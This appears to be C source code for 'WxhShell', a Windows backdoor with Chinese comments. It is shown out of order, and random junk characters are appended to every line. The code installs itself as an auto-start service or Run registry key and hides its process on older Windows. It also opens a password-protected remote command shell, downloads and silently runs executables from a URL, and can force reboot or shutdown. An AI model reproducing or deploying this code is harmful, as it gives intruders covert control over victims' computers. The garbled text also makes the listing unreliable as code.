    if(Boot(SHUTDOWN)) p'%: M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~*PK080N}  
    else { K5)yM @cq  
    closesocket(wsh); lEyG9Xvi  
    ExitThread(0); WK_y1(v>  
    } GEe 0@q#YA  
    break; m_E[bDON  
    } ?LV-W  
  // 获取shell _/N'I7g  
  case 's': { 0x>/6 <<  
    CmdShell(wsh); L&DF,fWsF&  
    closesocket(wsh); G1?0Q_RN  
    ExitThread(0); _']%qd"%  
    break; 35%[D Ukb  
  } N)vk0IM!  
  // 退出  [`hE^chd  
  case 'x': { {#w A !>.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :p\(y  
    CloseIt(wsh); B \_d5WJ<  
    break; Hn#GS9d_?  
    } "J8;4p  
  // 离开 j5,^9'  
  case 'q': { dK J@{d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t> x-1vf%  
    closesocket(wsh); =$)4:  
    WSACleanup(); !Ig|m+  
    exit(1); ##EB; Y  
    break; v ]/OAH6D  
        } nL":0!DTRD  
  } ]< s\V-y  
  } R%Ui6dCLo  
`FzYvd"N  
  // 提示信息 d4y9AE@k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FUyB"-<  
} s.R-<Y 3  
  } |b$>68:  
F}6DB*  
  return; BrlzN='j}  
} 9lZAa8Rxi  
H{\.g=01  
// shell模块句柄 E(QZ!'%K+m  
int CmdShell(SOCKET sock) PJxak3  
{ VxkCK02k  
STARTUPINFO si; i}/e}s<-6  
ZeroMemory(&si,sizeof(si)); -y&v9OC2-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E ;BPN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sJ))<,e5I  
PROCESS_INFORMATION ProcessInfo; [K cki+  
char cmdline[]="cmd"; AfbB~LlBq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }J ei$0x  
  return 0; mQd4#LJ_  
} _pz,okO[V  
,hpH!J'5f/  
// 自身启动模式 e2]4a3  
int StartFromService(void) h`wMi}q'D  
{ 54q4CagFq  
typedef struct 8sN#e(@  
{ V=j-Um;  
  DWORD ExitStatus; GBH_r 0  
  DWORD PebBaseAddress; K3vseor  
  DWORD AffinityMask; =jg#fdM -  
  DWORD BasePriority; ..t,LU@|  
  ULONG UniqueProcessId; 0>,.c2),  
  ULONG InheritedFromUniqueProcessId;  ]{f^;y8  
}   PROCESS_BASIC_INFORMATION; ==QWwPpA  
N$\ bg|v  
PROCNTQSIP NtQueryInformationProcess; YCa@R!M*O  
*4 <4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s? QVX~S"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; % v;e  
d]tv'|E13  
  HANDLE             hProcess; [[:UhrH-  
  PROCESS_BASIC_INFORMATION pbi; r4O|()  
IDy_L;'`*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  9R9__w;  
  if(NULL == hInst ) return 0; Y3#Nux%  
6g5PM4\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QWrIa1.JC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j$3rJA%rN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %KGq*|GUu  
si_W:mLF{a  
  if (!NtQueryInformationProcess) return 0; c |>=S)|  
21r= = H$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '3A+"k-}mh  
  if(!hProcess) return 0; 2O eshkE  
K(<$.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8zhBA9Y#~  
"-w ^D!C  
  CloseHandle(hProcess); rRB~=J"  
\HAJ\9*w)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sX+`wc  
if(hProcess==NULL) return 0; kOw=c Gt  
J,f/fPaf7  
HMODULE hMod; z{ptm7  
char procName[255]; 7;&(}  
unsigned long cbNeeded; <f N; xIB  
ev9; Ld  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "\e:h| .G  
$}t=RW  
  CloseHandle(hProcess); Pm4e8b  
3sH\1)Zz  
if(strstr(procName,"services")) return 1; // 以服务启动 g>so R&*  
9YB2 e84j  
  return 0; // 注册表启动 (+* ][|T  
} .%q$d d>>  
JPEIT  
// 主模块 3KSpB;HX  
int StartWxhshell(LPSTR lpCmdLine) B$rTwR"(-  
{ sf(i E(o  
  SOCKET wsl; o]Gguw5W{  
BOOL val=TRUE; "'m)VG  
  int port=0; 2 P=[  
  struct sockaddr_in door; &VDl/qnaL  
2d*_Qq1  
  if(wscfg.ws_autoins) Install(); Fh K&@@_  
z v>Oh#  
port=atoi(lpCmdLine); ( S`6Q  
zDD4m`2  
if(port<=0) port=wscfg.ws_port; aX;A==>  
hk%k(^ekU]  
  WSADATA data; U&X2cR &a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YutQ]zYA.  
@5xu>gKn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l3.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iv*V#J>  
  door.sin_family = AF_INET; .}q]`<]ze  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;f:gX`"\  
  door.sin_port = htons(port); ^i+[m  
}Z\wH*s`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K UKACUL  
closesocket(wsl); En(7(qP6}  
return 1; B{C_hy-fw  
} d+;gw*_Ei  
O gmSQ  
  if(listen(wsl,2) == INVALID_SOCKET) { DECB*9O ^  
closesocket(wsl); LXj5R99S  
return 1; 8$0\J_  
} wJe?t$ac?  
  Wxhshell(wsl); |~WYEh  
  WSACleanup(); UUeB;'E+  
/@hJpz|+   
return 0; Q $~n/  
[:iv4>ZZ  
} 3GF2eS$$P  
!SO8O  
// 以NT服务方式启动 b O=yi)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +L0w;wT  
{ zvY+R\,in  
DWORD   status = 0; qi(*ty  
  DWORD   specificError = 0xfffffff; b7HffO O  
d H? ScXM=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WNs}sNSf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7\ypW$Ot  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PY`L$e  
  serviceStatus.dwWin32ExitCode     = 0; 1svi8wh  
  serviceStatus.dwServiceSpecificExitCode = 0; y7: tr  
  serviceStatus.dwCheckPoint       = 0; \=;uu_v$  
  serviceStatus.dwWaitHint       = 0; Ye5jB2Z  
w\Mnu}<e$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;#1Iiuh  
  if (hServiceStatusHandle==0) return; WkP +r9rT  
tu0aD%C  
status = GetLastError(); \}5p0.=  
  if (status!=NO_ERROR) d,0 }VaY=D  
{ a^t?vv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H6K`\8/SeN  
    serviceStatus.dwCheckPoint       = 0; )}MHx`KT2  
    serviceStatus.dwWaitHint       = 0; s =Umj'1k  
    serviceStatus.dwWin32ExitCode     = status; ?<U{{ C  
    serviceStatus.dwServiceSpecificExitCode = specificError; =Q<L eh=G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kkS~4?- *  
    return; @%hCAm  
  } 4nqoZk^R  
w8Vw1wW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \, &9  
  serviceStatus.dwCheckPoint       = 0; @?kM'*mrZM  
  serviceStatus.dwWaitHint       = 0; $g10vF3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Pm+tQ  
} kM/Te{<  
EpYy3^5d  
// 处理NT服务事件,比如:启动、停止 3QXjD/h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [q*%U4qGO  
{ JWv{=_2w  
switch(fdwControl) 6/Fzco#N  
{ R"AUSO|{  
case SERVICE_CONTROL_STOP: 52d^K0STC  
  serviceStatus.dwWin32ExitCode = 0; t *G/]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ka"337H  
  serviceStatus.dwCheckPoint   = 0; ~rD={&0  
  serviceStatus.dwWaitHint     = 0; 2HD]?:Fk7  
  { WG7k(Sp ]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nV*y`.+  
  } +nL+ N  
  return; m ee$"Y  
case SERVICE_CONTROL_PAUSE: G8Z4J7^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i3VW1~.8  
  break; S'LZk9E  
case SERVICE_CONTROL_CONTINUE: )IL #>2n?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .8WXC   
  break; ({^9<Us  
case SERVICE_CONTROL_INTERROGATE: e>}}:Ud  
  break; \ HZ9S=  
}; "TcW4U9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ge+0-I6Ju  
} )$ Mmn  
k]A8% z  
// 标准应用程序主函数 7.Kc:7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #A7jyg":  
{ C? 4JXW  
o|BP$P8V  
// 获取操作系统版本 MJ`3ta  
OsIsNt=GetOsVer(); kc `V4b%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uC3:7  
O81X ;JdP3  
  // 从命令行安装 o Y}]UB>  
  if(strpbrk(lpCmdLine,"iI")) Install(); DZS]AC*  
BYrZEVM9  
  // 下载执行文件 :1ecx$  
if(wscfg.ws_downexe) { :}:3i9e*2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mmXm\]r>4  
  WinExec(wscfg.ws_filenam,SW_HIDE); V/d/L3p  
} }x0- V8  
^Xb7[ +I6  
if(!OsIsNt) { = &wmWy  
// 如果时win9x,隐藏进程并且设置为注册表启动 hU]HTX'R  
HideProc(); }[+!$#  
StartWxhshell(lpCmdLine); lv&mp0V+  
}  +=q)  
else ~[WF_NU1y  
  if(StartFromService()) b2,mCfLsv  
  // 以服务方式启动 iIT8H\e  
  StartServiceCtrlDispatcher(DispatchTable); ^ KK_qC  
else |'O[7uT  
  // 普通方式启动 TjMe?p  
  StartWxhshell(lpCmdLine); h%; e0Xz|  
X?:o;wB  
return 0; IP`6bMd  
} 6qWdd&1  
\c v?^AI  
{`=0 |oP}  
K,'*Dz  
=========================================== cJo\#cr  
%@a8P  
IQ< MyB(  
F~:O.$f]G  
?3ig)J,e[  
w]b,7QuNz  
" '^BV_QQ  
!Z!g:II /  
#include <stdio.h> mR\`DltoV  
#include <string.h> :F,O  
#include <windows.h> FWue;pw3  
#include <winsock2.h> ).` S/F  
#include <winsvc.h> D\w h;r  
#include <urlmon.h> {rfF'@[  
DS-0gVYeDW  
#pragma comment (lib, "Ws2_32.lib") ?[<Tx-L  
#pragma comment (lib, "urlmon.lib") j"^ +oxH  
@vL20O.  
#define MAX_USER   100 // 最大客户端连接数 fj7|D'c  
#define BUF_SOCK   200 // sock buffer -9 !.m  
#define KEY_BUFF   255 // 输入 buffer }G o$ \Bk  
&cWjE x  
#define REBOOT     0   // 重启 O%g $9-?F0  
#define SHUTDOWN   1   // 关机 1g# #sSa6  
b`yZ|j'ikd  
#define DEF_PORT   5000 // 监听端口 W?yd#j  
b*a2,MiM  
#define REG_LEN     16   // 注册表键长度 |Fm6#1A@  
#define SVC_LEN     80   // NT服务名长度 ~R$~&x(b  
4n#ov=)-~  
// 从dll定义API iv`O /T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >3 yk#U|7}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  [,n c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~DRmON5 M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "mL++>ZSQ  
|@,|F:h<M  
// wxhshell配置信息 Sxdsv9w  
struct WSCFG { p4IZ   
  int ws_port;         // 监听端口 t }IkK=f  
  char ws_passstr[REG_LEN]; // 口令 ZyOv.,y  
  int ws_autoins;       // 安装标记, 1=yes 0=no mk7&<M  
  char ws_regname[REG_LEN]; // 注册表键名 RLlU" sw+{  
  char ws_svcname[REG_LEN]; // 服务名 6sIL.S~c)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PB%-9C0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X[#zCM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M8H5K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P%)gO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5@*'2rO&!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Vpy 2\wZWb  
DG4 d"Jy  
}; #;n +YM">:  
G?f\>QSZ  
// default Wxhshell configuration q$1PG+-  
struct WSCFG wscfg={DEF_PORT, Z_\C*^  
    "xuhuanlingzhe", ?JL7=o X  
    1, J=.`wZQkS  
    "Wxhshell",  ^p n(=4  
    "Wxhshell", tiN?/  
            "WxhShell Service", b:qY gg  
    "Wrsky Windows CmdShell Service", 2G$SpfeIu  
    "Please Input Your Password: ", V8eB$in  
  1, S'oGt&Z<  
  "http://www.wrsky.com/wxhshell.exe", Z/rP"|EuQ  
  "Wxhshell.exe" 1B),A~Ip  
    }; Ii7QJ:^  
y_xnai  
// 消息定义模块 +,~z Wv1v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0]D0{6x8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8|E'>+ D_-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JS}{%(B  
char *msg_ws_ext="\n\rExit."; XLMb=T~S  
char *msg_ws_end="\n\rQuit."; *'Z B*>  
char *msg_ws_boot="\n\rReboot..."; >~`C-K#  
char *msg_ws_poff="\n\rShutdown..."; s@MYc@k  
char *msg_ws_down="\n\rSave to "; M#|dIbns H  
_gKe%J&  
char *msg_ws_err="\n\rErr!"; PtqJ*Z  
char *msg_ws_ok="\n\rOK!"; Hw#d_P:  
FU=w(< R;  
char ExeFile[MAX_PATH]; As+t##gN  
int nUser = 0; - 0?^#G}3}  
HANDLE handles[MAX_USER]; GUslPnG  
int OsIsNt; JG{j)O|L  
:4v3\+T  
SERVICE_STATUS       serviceStatus; 7d92 Pe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [ sd;`xk  
qj cp65^  
// 函数声明 ]%Zz \Q  
int Install(void); P{Q=mEQ  
int Uninstall(void); FKe,qTqa  
int DownloadFile(char *sURL, SOCKET wsh); 2lL,zFAq  
int Boot(int flag); PRNoqi3sY  
void HideProc(void); ~ %B<  
int GetOsVer(void); v]B L[/4  
int Wxhshell(SOCKET wsl); ; S xFp  
void TalkWithClient(void *cs); Mi~(aah  
int CmdShell(SOCKET sock); eT2*W$  
int StartFromService(void); t>8XTqqi  
int StartWxhshell(LPSTR lpCmdLine); Scv#zuv_  
k+1|I)z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?eV4 SH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +a^F\8H  
5BBD.!  
// 数据结构和表定义 /%lZu^  
SERVICE_TABLE_ENTRY DispatchTable[] =  |W<+U  
{ :$MG*/Q  
{wscfg.ws_svcname, NTServiceMain}, *,BzcZ  
{NULL, NULL} *%KKNT'*  
}; 2w)-\/j}  
> x IJE2  
// 自我安装 ja=F7Usb  
int Install(void) 1~ $);US  
{ d#2$!z#  
  char svExeFile[MAX_PATH]; ')GSAY7  
  HKEY key; .f+TZDUO  
  strcpy(svExeFile,ExeFile); )E+'*e{cK  
%'0T Xr$  
// 如果是win9x系统,修改注册表设为自启动 1>L(ul(qGF  
if(!OsIsNt) { 4Vq%N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \@&_>us  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :x_'i_w  
  RegCloseKey(key); TIvRhbu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'mV9{lj7E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); If%/3UJ@  
  RegCloseKey(key); Z4IgBn(Z_}  
  return 0; '=P7""mN5  
    } s`>[F@N7.o  
  } UwC=1g U  
} Rb3V^;i  
else { u+{a8=  
i1 RiGS  
// 如果是NT以上系统,安装为系统服务 3P;>XGCxZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dK>7fy;mv  
if (schSCManager!=0) trE{FT  
{ #pcP!  
  SC_HANDLE schService = CreateService :T9< d er,  
  ( %u;~kP|S%  
  schSCManager, z2Z^~, i  
  wscfg.ws_svcname, GKcv<G208  
  wscfg.ws_svcdisp, a'\o 7_  
  SERVICE_ALL_ACCESS, Mfv1Os:ST  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 41SGWAd#:  
  SERVICE_AUTO_START, q{+_ <2U|  
  SERVICE_ERROR_NORMAL, 10H)^p%3+  
  svExeFile, <oz!H[!  
  NULL, zRPeNdX  
  NULL, *{+G=d  
  NULL, .CFa9"<  
  NULL, Ao/ jt<  
  NULL |g *XK6  
  ); 2U-3Q]/I}  
  if (schService!=0) 4 {9B9={  
  { awz;z?~  
  CloseServiceHandle(schService); %Z*sU/^  
  CloseServiceHandle(schSCManager); bu51$s?B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V\6]n2  
  strcat(svExeFile,wscfg.ws_svcname); t]X w{)T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m>SErxU(z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YM DMH"3  
  RegCloseKey(key); rSrIEP,c'  
  return 0; j!3 Gz  
    } Ag@;  
  } ;`6^6p\p  
  CloseServiceHandle(schSCManager); |2KAo!PI  
} cp o-.  
} U)3DQ6T99  
fNrgdfo  
return 1; NssELMtF!g  
} tr7<]Hm:  
i E CrI3s  
// 自我卸载 /q5:p`4{J  
int Uninstall(void) gJM`[x`T  
{ Y/7 $1k  
  HKEY key; XQS9,Hl  
Zv#Ll@v  
if(!OsIsNt) { B,{K*-7)MX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +a*tO@HG  
  RegDeleteValue(key,wscfg.ws_regname); \G-KplKS  
  RegCloseKey(key); &~W:xg(jN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zk( U8C+  
  RegDeleteValue(key,wscfg.ws_regname); 2,*M|+W~  
  RegCloseKey(key); :^(>YAyHj^  
  return 0; Q f@  
  } '} $Dgp6e  
} N$[{8yil^w  
} \<g*8?yFs  
else { p}cw{  
y '!m4-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .?l\g-;=  
if (schSCManager!=0) :>=\.\  
{ Q1+dCCY#F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v;)..X30  
  if (schService!=0) @9"J|}  
  { y:6; LZ9[  
  if(DeleteService(schService)!=0) { _8E/) M  
  CloseServiceHandle(schService); &%-73nYw  
  CloseServiceHandle(schSCManager); N ,z6y5Lu  
  return 0; >vA2A1WhW  
  } Jkek-m  
  CloseServiceHandle(schService); pxa(  
  } 4]E3c AJ  
  CloseServiceHandle(schSCManager); qT^I?g"!  
} Ng_!zrx04  
} )Eo)t>  
K>{T_){  
return 1; 53[~bwD  
} YD7Oao4:o  
$ , u+4h  
// 从指定url下载文件 X*\ J_  
int DownloadFile(char *sURL, SOCKET wsh) #{\%rWnCm  
{ JeE ;V![  
  HRESULT hr; dN$Tf  
char seps[]= "/"; R47\Y  
char *token; 15sp|$&`  
char *file; VTH> o>g  
char myURL[MAX_PATH]; @/31IOIV]`  
char myFILE[MAX_PATH]; OE-gC2&Bm  
~Rr~1I&mR,  
strcpy(myURL,sURL); J Px~VnE%%  
  token=strtok(myURL,seps); yYfs y?3  
  while(token!=NULL) hyFyP\u]  
  { z5 YWt*nm  
    file=token; -jiG7OL  
  token=strtok(NULL,seps); OtNd,U.dE  
  } 1 9CK+;b  
H/37)&$E(  
GetCurrentDirectory(MAX_PATH,myFILE); J_4!2v!6e  
strcat(myFILE, "\\"); FIsyiSY<j  
strcat(myFILE, file); kbe-1 <72  
  send(wsh,myFILE,strlen(myFILE),0); {Ja!~N;3  
send(wsh,"...",3,0); 1|jt"Hz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?pd8w#O  
  if(hr==S_OK) :\o {_  
return 0; VFys.=  
else H7DJ~z~J  
return 1; mV pMh#zw  
PGoh1Uu  
} J G{3EWXR  
Kh_Lp$'0uM  
// 系统电源模块 2_Z ? #Y  
int Boot(int flag) M "94#.dKK  
{ v p/yG   
  HANDLE hToken; U3dwI:cG  
  TOKEN_PRIVILEGES tkp; K>@+m  
AnX%[W "  
  if(OsIsNt) { e\:+uVzz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FFEfI4&SfS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s|y "WDyx5  
    tkp.PrivilegeCount = 1; ZG&>:Si;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mmk=97  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #iHs* /85  
if(flag==REBOOT) { O[ef#R!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Fkd+pS\9g~  
  return 0; %Da1(bBh  
} WL"^>[Vq  
else { TtTj28 k7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j=r P:#  
  return 0; @pRlxkvV  
} ][p>Y>:b-  
  } ~XmLX)vO/  
  else { G VYkJ0,  
if(flag==REBOOT) { Yz +ZY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rr02pM0  
  return 0; M,\:<kNI  
} x5-}h*  
else { S;286[oq@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Rx=>6,)'  
  return 0; lUMS;H(  
} fUA uqfj[  
} 1`qMj0Y_  
IvtJ0  
return 1; 4p,EBn9(  
} '|8} z4/g  
GE%Z9#E  
// win9x进程隐藏模块 P 'od`  
void HideProc(void) hFy;ffs.  
{ DrY:9[LP  
]Hefm?9*^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j~jV'f.:H  
  if ( hKernel != NULL ) =*c7i]@}  
  { .7avpOfz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #PH~1`vl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IS&ZqE(`e  
    FreeLibrary(hKernel); NUWDc]@J*  
  } =k^Y?.  
p o2!  
return; 9\mLW"  
} ?En O"T.  
?!d&E ?9\  
// 获取操作系统版本 E^/t$M|H  
int GetOsVer(void) 'O_3)x5  
{ !C3MFm{B  
  OSVERSIONINFO winfo; |es?;s'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PuA9X[=  
  GetVersionEx(&winfo); K1+)4!}%U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TE7nJ gm  
  return 1; L>aLqQ3  
  else _ 4U5  
  return 0; ?kH8Lw~{5W  
} Z8@J`0x  
xRzFlay8  
// 客户端句柄模块 1q:2\d]  
int Wxhshell(SOCKET wsl) jZ~n[ f+Q  
{ 2q=AEv/  
  SOCKET wsh; v,-HU&/*B  
  struct sockaddr_in client; W_\5nF  
  DWORD myID; c|B.n]Z  
!h23cj+V  
  while(nUser<MAX_USER) IYS)7`{]  
{ SwTL|+u  
  int nSize=sizeof(client); }J:U=HJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :~tAUy":_*  
  if(wsh==INVALID_SOCKET) return 1; #FCnA  
Ybs\ES'?A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >_-s8t=|  
if(handles[nUser]==0) zuJ@E=7  
  closesocket(wsh); ^6MU 0Q2  
else p'*>vk  
  nUser++; >>t@}F)  
  } vgH3<pDiU6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mGJKvJF   
6;\I))"[  
  return 0; (a.z9nqGA  
} w[zjerH3  
75f"'nJ)  
// 关闭 socket d iL +:H  
void CloseIt(SOCKET wsh) 1{ ~#H<K  
{ p.v0D:@&  
closesocket(wsh); QkEvw<  
nUser--; `1$@|FgyC  
ExitThread(0); "55skmD.P  
} RI 5yF  
k;AD`7(=  
// 客户端请求句柄 Sq/ qu-%X  
void TalkWithClient(void *cs) =jOv] /  
{ c[wla<dO*  
a eFe!`F  
  SOCKET wsh=(SOCKET)cs; 6}[I2F_^  
  char pwd[SVC_LEN]; :cem,#(=  
  char cmd[KEY_BUFF]; cu7hBf j  
char chr[1]; AN8`7F1  
int i,j; |:nOp(A\*  
m? J0i>H  
  while (nUser < MAX_USER) { 1 d}Z(My  
p*4':TFuD;  
if(wscfg.ws_passstr) { :dl]h&C^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I7|Pi[e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~?4PBq  
  //ZeroMemory(pwd,KEY_BUFF); ^84G%)`&  
      i=0; rb5~XnJk  
  while(i<SVC_LEN) { \o}xF@sM5  
+%T\`6  
  // 设置超时  Ch&a/S}  
  fd_set FdRead; ]'!f28Ng-  
  struct timeval TimeOut; 0%&1\rm+j  
  FD_ZERO(&FdRead); @5=oeOg36  
  FD_SET(wsh,&FdRead); d6} r#\  
  TimeOut.tv_sec=8; D0&,?  
  TimeOut.tv_usec=0; Z0x ar]4V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fi-WZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a oD`=I*<  
z1PBMSG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -LK B$   
  pwd=chr[0]; TyD4|| %  
  if(chr[0]==0xd || chr[0]==0xa) { !"HO]3-o  
  pwd=0; J*yf2&lI5  
  break; N..yQ-6x?  
  } &zl|87M  
  i++; 5{|7$VqPF  
    } gf#{k2r  
-Br Mp%C  
  // 如果是非法用户,关闭 socket _E&A{HkJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  8n#HFJ~  
} PWaw]*dFmy  
A-H&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FcR=v0),  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T6O::o6  
|%F=po>w  
while(1) { ~P*6ozSYpY  
3m]4=  
  ZeroMemory(cmd,KEY_BUFF); \8)U!9,$nn  
lP[w?O  
      // 自动支持客户端 telnet标准   Y}t \4 di  
  j=0; 1tEgl\u\  
  while(j<KEY_BUFF) { wKtl+}}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kw >v:F<M  
  cmd[j]=chr[0]; W]"zctE  
  if(chr[0]==0xa || chr[0]==0xd) { Tzt8h\Q^z  
  cmd[j]=0; -[ *,^Ti`  
  break; SN9kFFIPb=  
  } m'Amli@[  
  j++; ''q@>  
    } O,+1<.;+  
$? m9")  
  // 下载文件 w j*,U~syB  
  if(strstr(cmd,"http://")) { 04LI]'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <{dVKf,e  
  if(DownloadFile(cmd,wsh)) r@72|:,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Q}#^h]F  
  else ^ZvWR%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sv: 9clJ  
  }  ,V,`Jf  
  else { `> 7; !  
chcbd y>C  
    switch(cmd[0]) { 14Xqn8uOW  
  dT`D:)*:  
  // 帮助 3B1XZm  
